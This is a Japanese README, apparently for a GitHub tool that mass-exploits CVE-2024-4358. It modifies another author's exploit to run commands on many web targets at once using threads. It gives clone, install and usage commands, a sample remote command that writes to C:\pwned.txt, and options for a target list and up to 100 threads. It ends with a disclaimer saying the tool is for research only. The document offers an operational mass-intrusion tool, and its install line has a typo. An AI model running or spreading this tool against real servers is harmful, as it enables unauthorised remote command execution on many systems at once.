sk1dr0wz/cve-2024-4358_mass_exploitCVE-2024-4358向けの大量悪用ツールで、スレッド対応により複数のWebターゲットに対して同時にコマンドを実行します。
@sinsinology のツールを改変して、マスエクスプロイトを実行できるようにしたものです。
git clone https://github.com/Sk1dr0wz/CVE-2024-4358_Mass_Exploit.git
cd CVE-2024-4358_Mass_Exploit
pip intstall -r requirements.txt
usage: python CVE-2024-4358.py --target-file targets.txt -c "whoami > C:\pwned.txt" --threads 10
options:
-h, --help show this help message and exit
--target-file TARGET_FILE, -tf TARGET_FILE
File containing target IPs and ports (one per line, e.g: http://192.168.1.1:83)
--command COMMAND, -c COMMAND
Command to execute
--threads THREADS, -th THREADS
Number of threads to use (max: 100)
本ソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクトのメンテナーは、本ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。